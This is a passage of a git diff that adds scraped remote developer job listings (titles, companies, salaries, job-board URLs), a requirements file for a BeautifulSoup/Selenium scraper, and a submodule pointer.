ago,$104K-166K,https://devitjobs.us/jobs/Business-Performance-Systems-LLC-NestJS-Developer?utm_source=devjobsscanner +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956049?position=4&pageNum=82&refId=o5Fir2Hl1NbqZJIDVZDTTg%3D%3D&trackingId=9C369v4uC7ZvlIG362ZzPg%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952607?position=10&pageNum=77&refId=rIp8uk7Zb7YJ%2FIoM6gjThA%3D%3D&trackingId=4%2BR9sWdqi6VNsYdqYbI%2BSg%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://ee.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952164?position=7&pageNum=2&refId=%2BlzGQBFIZNr%2F77X2aCLJwg%3D%3D&trackingId=NwmYBAuw6pdZbJvt7BUl%2FA%3D%3D&trk=public_jobs_jserp-result_search-card +"Back End Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://se.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952649?position=2&pageNum=95&refId=gkhd25N%2BusYKXmVi%2Ftc6hQ%3D%3D&trackingId=Df2REZr6HIyqEOi59JTEXQ%3D%3D&trk=public_jobs_jserp-result_search-card +"Back End Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://jp.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918955247?position=2&pageNum=92&refId=M%2F%2B%2FfR2XZRE3Q7c%2BcUH98Q%3D%3D&trackingId=fImG1FN3mqOKjFysIccDkw%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918958006?position=4&pageNum=62&refId=zFLlHYOklNghNqc5H5wHeg%3D%3D&trackingId=WD%2B0Wti%2FEdhUVqRVIFR%2FCQ%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956027?position=6&pageNum=45&refId=c3IIxVPPuCAd6X%2B9eAfStA%3D%3D&trackingId=UcpNg1sflvPcannqUbWp9Q%3D%3D&trk=public_jobs_jserp-result_search-card +"Full stack Developer, Trilogy (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,[],1 week ago,Not mentioned,https://mx.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918951923?position=2&pageNum=60&refId=11dLN08Bn3KEU19lv2RyJw%3D%3D&trackingId=bNTnSuMHG9M9TSPyAEdjcQ%3D%3D&trk=public_jobs_jserp-result_search-card +"Development Team Lead, gt.school (Remote) - $100,000/year USD",Crossover,https://www.devjobsscanner.com/company/crossover,['lead'],1 week ago,Not mentioned,https://ar.linkedin.com/jobs/view/development-team-lead-gt-school-remote-%24100-000-year-usd-at-crossover-3918949522?position=7&pageNum=40&refId=6UvPAwIoDVN26%2BwNoBzz7Q%3D%3D&trackingId=W2om2ebZp74ceBYLiXAL1A%3D%3D&trk=public_jobs_jserp-result_search-card +Software Development Engineer in Test (Remote Canada),Milk Moovement,https://www.devjobsscanner.com/company/milk moovement,[],1 week ago,Not mentioned,https://www.glassdoor.com/partner/jobListing.htm?pos=338&ao=1136043&s=58&guid=0000018f70da9400a9dd451b642c35d5&src=GD_JOB_VIEW&t=SR&vt=w&cs=1_ebf9e050&cb=1715585324501&jobListingId=1009124516931&jrtk=5-yul1-0-1htodl51oj33d805-acafb3b76c0b8a5c diff --git a/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Python Developer_jobs_remote_true_sorted_by_newest.txt b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Python Developer_jobs_remote_true_sorted_by_newest.txt new file mode 100644 index 00000000..e29e517a --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/outputFiles/Python Developer_jobs_remote_true_sorted_by_newest.txt @@ -0,0 +1,320 @@ +Title: Lead Software Engineer, Capital One Shopping (Remote) +Company: Capital One +Company URL: https://www.devjobsscanner.com/company/capital one +Tags: lead, startup, build, javascript, python, typescript +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby91akVEUUxiIiwiam9iSWQiOiI1ZjEzM2ExZS05YzYzLTQzOTgtYmZiZS01ZDZhNjQ1MGZjMTIiLCJqb2JUaXRsZSI6IkxlYWQgU29mdHdhcmUgRW5naW5lZXIsIENhcGl0YWwgT25lIFNob3BwaW5nIChSZW1vdGUpIiwiam9iVHlwZSI6InByb2dyYW1tYXRpYyJ9 +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9jcnFBNFViIiwiam9iSWQiOiJhZmVjNTk5Yy0yZmE2LTQxMmYtYWExOC1kMTE2ZGExNTMxYTQiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9aWktRYmtiIiwiam9iSWQiOiI4YjVjMWZmYi0xMzgyLTQ0MDYtYmM3Yy00M2YwMjM1MmFhNmYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GUEhQV09iIiwiam9iSWQiOiJlOWViMzY2Ni04MDdhLTRiNGYtODc3NS02NWFiOWEwODBlMzYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GeFd4YUZiIiwiam9iSWQiOiJkZjBlNzE5Yy1iMTE5LTQ1NjctYjE0Ni0wOTY2NDI2MzMyZDkiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9VdktKb09iIiwiam9iSWQiOiJmMzhlNDg0ZC00ZTAwLTQ2YmEtYmRjYS0xMjM4YzM2Y2ViMDAiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Senior ServiceNow Custom App Developer DHS (Remote) +Company: ICF +Company URL: https://www.devjobsscanner.com/company/icf +Tags: Support, ITIL, JavaScript, Security, ServiceNow +Date Posted: 1 week ago +Salary: $85K-144K +Job URL: https://devitjobs.us/jobs/ICF-Senior-ServiceNow-Custom-App-Developer-DHS-Remote?utm_source=devjobsscanner +---------------------------------------- +Title: Senior ServiceNow ITBM and SPM Developer +Company: ICF +Company URL: https://www.devjobsscanner.com/company/icf +Tags: CMS, HTML5, ITIL, JSON, JavaScript, REST, SOAP, Security, ServiceNow, jQuery, UX UI Design +Date Posted: 1 week ago +Salary: $83K-141K +Job URL: https://devitjobs.us/jobs/ICF-Senior-ServiceNow-ITBM-and-SPM-Developer?utm_source=devjobsscanner +---------------------------------------- +Title: Full Stack Engineer FTE +Company: Linkitall LLC +Company URL: https://www.devjobsscanner.com/company/linkitall llc +Tags: AWS, C#, Cloud, CSS, JavaScript, MySQL, PostgreSQL, Python, React, Ruby, Security, Serverless, Web, ASP.NET +Date Posted: 1 week ago +Salary: $100K-120K +Job URL: https://devitjobs.us/jobs/Linkitall-LLC-Full-Stack-Engineer-FTE?utm_source=devjobsscanner +---------------------------------------- +Title: NestJS Developer +Company: Business Performance Systems, LLC +Company URL: https://www.devjobsscanner.com/company/business performance systems, llc +Tags: Architect, Backend, CSS, GitHub, HTTP, JSON, NestJS, RPA, React, Selenium, TypeScript, Web, XML, DDD +Date Posted: 1 week ago +Salary: $104K-166K +Job URL: https://devitjobs.us/jobs/Business-Performance-Systems-LLC-NestJS-Developer?utm_source=devjobsscanner +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956049?position=4&pageNum=82&refId=o5Fir2Hl1NbqZJIDVZDTTg%3D%3D&trackingId=9C369v4uC7ZvlIG362ZzPg%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952607?position=10&pageNum=77&refId=rIp8uk7Zb7YJ%2FIoM6gjThA%3D%3D&trackingId=4%2BR9sWdqi6VNsYdqYbI%2BSg%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ee.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952164?position=7&pageNum=2&refId=%2BlzGQBFIZNr%2F77X2aCLJwg%3D%3D&trackingId=NwmYBAuw6pdZbJvt7BUl%2FA%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Back End Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://se.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952649?position=2&pageNum=95&refId=gkhd25N%2BusYKXmVi%2Ftc6hQ%3D%3D&trackingId=Df2REZr6HIyqEOi59JTEXQ%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Back End Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://jp.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918955247?position=2&pageNum=92&refId=M%2F%2B%2FfR2XZRE3Q7c%2BcUH98Q%3D%3D&trackingId=fImG1FN3mqOKjFysIccDkw%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918958006?position=4&pageNum=62&refId=zFLlHYOklNghNqc5H5wHeg%3D%3D&trackingId=WD%2B0Wti%2FEdhUVqRVIFR%2FCQ%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956027?position=6&pageNum=45&refId=c3IIxVPPuCAd6X%2B9eAfStA%3D%3D&trackingId=UcpNg1sflvPcannqUbWp9Q%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://mx.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918951923?position=2&pageNum=60&refId=11dLN08Bn3KEU19lv2RyJw%3D%3D&trackingId=bNTnSuMHG9M9TSPyAEdjcQ%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Development Team Lead, gt.school (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: lead +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ar.linkedin.com/jobs/view/development-team-lead-gt-school-remote-%24100-000-year-usd-at-crossover-3918949522?position=7&pageNum=40&refId=6UvPAwIoDVN26%2BwNoBzz7Q%3D%3D&trackingId=W2om2ebZp74ceBYLiXAL1A%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Software Development Engineer in Test (Remote Canada) +Company: Milk Moovement +Company URL: https://www.devjobsscanner.com/company/milk moovement +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.glassdoor.com/partner/jobListing.htm?pos=338&ao=1136043&s=58&guid=0000018f70da9400a9dd451b642c35d5&src=GD_JOB_VIEW&t=SR&vt=w&cs=1_ebf9e050&cb=1715585324501&jobListingId=1009124516931&jrtk=5-yul1-0-1htodl51oj33d805-acafb3b76c0b8a5c +---------------------------------------- +Title: Lead Software Engineer, Capital One Shopping (Remote) +Company: Capital One +Company URL: https://www.devjobsscanner.com/company/capital one +Tags: lead, startup, build, javascript, python, typescript +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby91akVEUUxiIiwiam9iSWQiOiI1ZjEzM2ExZS05YzYzLTQzOTgtYmZiZS01ZDZhNjQ1MGZjMTIiLCJqb2JUaXRsZSI6IkxlYWQgU29mdHdhcmUgRW5naW5lZXIsIENhcGl0YWwgT25lIFNob3BwaW5nIChSZW1vdGUpIiwiam9iVHlwZSI6InByb2dyYW1tYXRpYyJ9 +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9jcnFBNFViIiwiam9iSWQiOiJhZmVjNTk5Yy0yZmE2LTQxMmYtYWExOC1kMTE2ZGExNTMxYTQiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9aWktRYmtiIiwiam9iSWQiOiI4YjVjMWZmYi0xMzgyLTQ0MDYtYmM3Yy00M2YwMjM1MmFhNmYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GUEhQV09iIiwiam9iSWQiOiJlOWViMzY2Ni04MDdhLTRiNGYtODc3NS02NWFiOWEwODBlMzYiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9GeFd4YUZiIiwiam9iSWQiOiJkZjBlNzE5Yy1iMTE5LTQ1NjctYjE0Ni0wOTY2NDI2MzMyZDkiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Sr. Software Engineer - C++ Go Python - Remote +Company: Comcast Corporation +Company URL: https://www.devjobsscanner.com/company/comcast corporation +Tags: video, data, design, build, c++, go, python +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.dice.com/apply-redirect?eyJjb25maWd1cmVkVXJsIjoiaHR0cHM6Ly9kc3AucHJuZy5jby9VdktKb09iIiwiam9iSWQiOiJmMzhlNDg0ZC00ZTAwLTQ2YmEtYmRjYS0xMjM4YzM2Y2ViMDAiLCJqb2JUaXRsZSI6IlNyLiBTb2Z0d2FyZSBFbmdpbmVlciAtIEMrKyBHbyBQeXRob24gLSBSZW1vdGUiLCJqb2JUeXBlIjoicHJvZ3JhbW1hdGljIn0= +---------------------------------------- +Title: Senior ServiceNow Custom App Developer DHS (Remote) +Company: ICF +Company URL: https://www.devjobsscanner.com/company/icf +Tags: Support, ITIL, JavaScript, Security, ServiceNow +Date Posted: 1 week ago +Salary: $85K-144K +Job URL: https://devitjobs.us/jobs/ICF-Senior-ServiceNow-Custom-App-Developer-DHS-Remote?utm_source=devjobsscanner +---------------------------------------- +Title: Senior ServiceNow ITBM and SPM Developer +Company: ICF +Company URL: https://www.devjobsscanner.com/company/icf +Tags: CMS, HTML5, ITIL, JSON, JavaScript, REST, SOAP, Security, ServiceNow, jQuery, UX UI Design +Date Posted: 1 week ago +Salary: $83K-141K +Job URL: https://devitjobs.us/jobs/ICF-Senior-ServiceNow-ITBM-and-SPM-Developer?utm_source=devjobsscanner +---------------------------------------- +Title: Full Stack Engineer FTE +Company: Linkitall LLC +Company URL: https://www.devjobsscanner.com/company/linkitall llc +Tags: AWS, C#, Cloud, CSS, JavaScript, MySQL, PostgreSQL, Python, React, Ruby, Security, Serverless, Web, ASP.NET +Date Posted: 1 week ago +Salary: $100K-120K +Job URL: https://devitjobs.us/jobs/Linkitall-LLC-Full-Stack-Engineer-FTE?utm_source=devjobsscanner +---------------------------------------- +Title: NestJS Developer +Company: Business Performance Systems, LLC +Company URL: https://www.devjobsscanner.com/company/business performance systems, llc +Tags: Architect, Backend, CSS, GitHub, HTTP, JSON, NestJS, RPA, React, Selenium, TypeScript, Web, XML, DDD +Date Posted: 1 week ago +Salary: $104K-166K +Job URL: https://devitjobs.us/jobs/Business-Performance-Systems-LLC-NestJS-Developer?utm_source=devjobsscanner +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956049?position=4&pageNum=82&refId=o5Fir2Hl1NbqZJIDVZDTTg%3D%3D&trackingId=9C369v4uC7ZvlIG362ZzPg%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ca.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952607?position=10&pageNum=77&refId=rIp8uk7Zb7YJ%2FIoM6gjThA%3D%3D&trackingId=4%2BR9sWdqi6VNsYdqYbI%2BSg%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ee.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952164?position=7&pageNum=2&refId=%2BlzGQBFIZNr%2F77X2aCLJwg%3D%3D&trackingId=NwmYBAuw6pdZbJvt7BUl%2FA%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Back End Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://se.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918952649?position=2&pageNum=95&refId=gkhd25N%2BusYKXmVi%2Ftc6hQ%3D%3D&trackingId=Df2REZr6HIyqEOi59JTEXQ%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Back End Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://jp.linkedin.com/jobs/view/back-end-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918955247?position=2&pageNum=92&refId=M%2F%2B%2FfR2XZRE3Q7c%2BcUH98Q%3D%3D&trackingId=fImG1FN3mqOKjFysIccDkw%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918958006?position=4&pageNum=62&refId=zFLlHYOklNghNqc5H5wHeg%3D%3D&trackingId=WD%2B0Wti%2FEdhUVqRVIFR%2FCQ%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://jp.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918956027?position=6&pageNum=45&refId=c3IIxVPPuCAd6X%2B9eAfStA%3D%3D&trackingId=UcpNg1sflvPcannqUbWp9Q%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Full stack Developer, Trilogy (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://mx.linkedin.com/jobs/view/full-stack-developer-trilogy-remote-%24100-000-year-usd-at-crossover-3918951923?position=2&pageNum=60&refId=11dLN08Bn3KEU19lv2RyJw%3D%3D&trackingId=bNTnSuMHG9M9TSPyAEdjcQ%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Development Team Lead, gt.school (Remote) - $100,000/year USD +Company: Crossover +Company URL: https://www.devjobsscanner.com/company/crossover +Tags: lead +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://ar.linkedin.com/jobs/view/development-team-lead-gt-school-remote-%24100-000-year-usd-at-crossover-3918949522?position=7&pageNum=40&refId=6UvPAwIoDVN26%2BwNoBzz7Q%3D%3D&trackingId=W2om2ebZp74ceBYLiXAL1A%3D%3D&trk=public_jobs_jserp-result_search-card +---------------------------------------- +Title: Software Development Engineer in Test (Remote Canada) +Company: Milk Moovement +Company URL: https://www.devjobsscanner.com/company/milk moovement +Tags: +Date Posted: 1 week ago +Salary: Not mentioned +Job URL: https://www.glassdoor.com/partner/jobListing.htm?pos=338&ao=1136043&s=58&guid=0000018f70da9400a9dd451b642c35d5&src=GD_JOB_VIEW&t=SR&vt=w&cs=1_ebf9e050&cb=1715585324501&jobListingId=1009124516931&jrtk=5-yul1-0-1htodl51oj33d805-acafb3b76c0b8a5c +---------------------------------------- diff --git a/WEB SCRAPING/devJobsScanner_Scraper/requirements.txt b/WEB SCRAPING/devJobsScanner_Scraper/requirements.txt new file mode 100644 index 00000000..734fc03d --- /dev/null +++ b/WEB SCRAPING/devJobsScanner_Scraper/requirements.txt @@ -0,0 +1,3 @@ +beautifulsoup4 +requests +seleniumbase \ No newline at end of file diff --git a/WEB-BASED PROJECTS/StopWatch b/WEB-BASED PROJECTS/StopWatch new file mode 160000 index 00000000..98585968 --- /dev/null +++ b/WEB-BASED PROJECTS/StopWatch @@ -0,0 +1 @@ +Subproject commit 98585968b0a368049ad6a992f36fc62121bbc1e6 diff --git a/file.txt b/file.txt new file mode 100644 index 00000000..e69de29b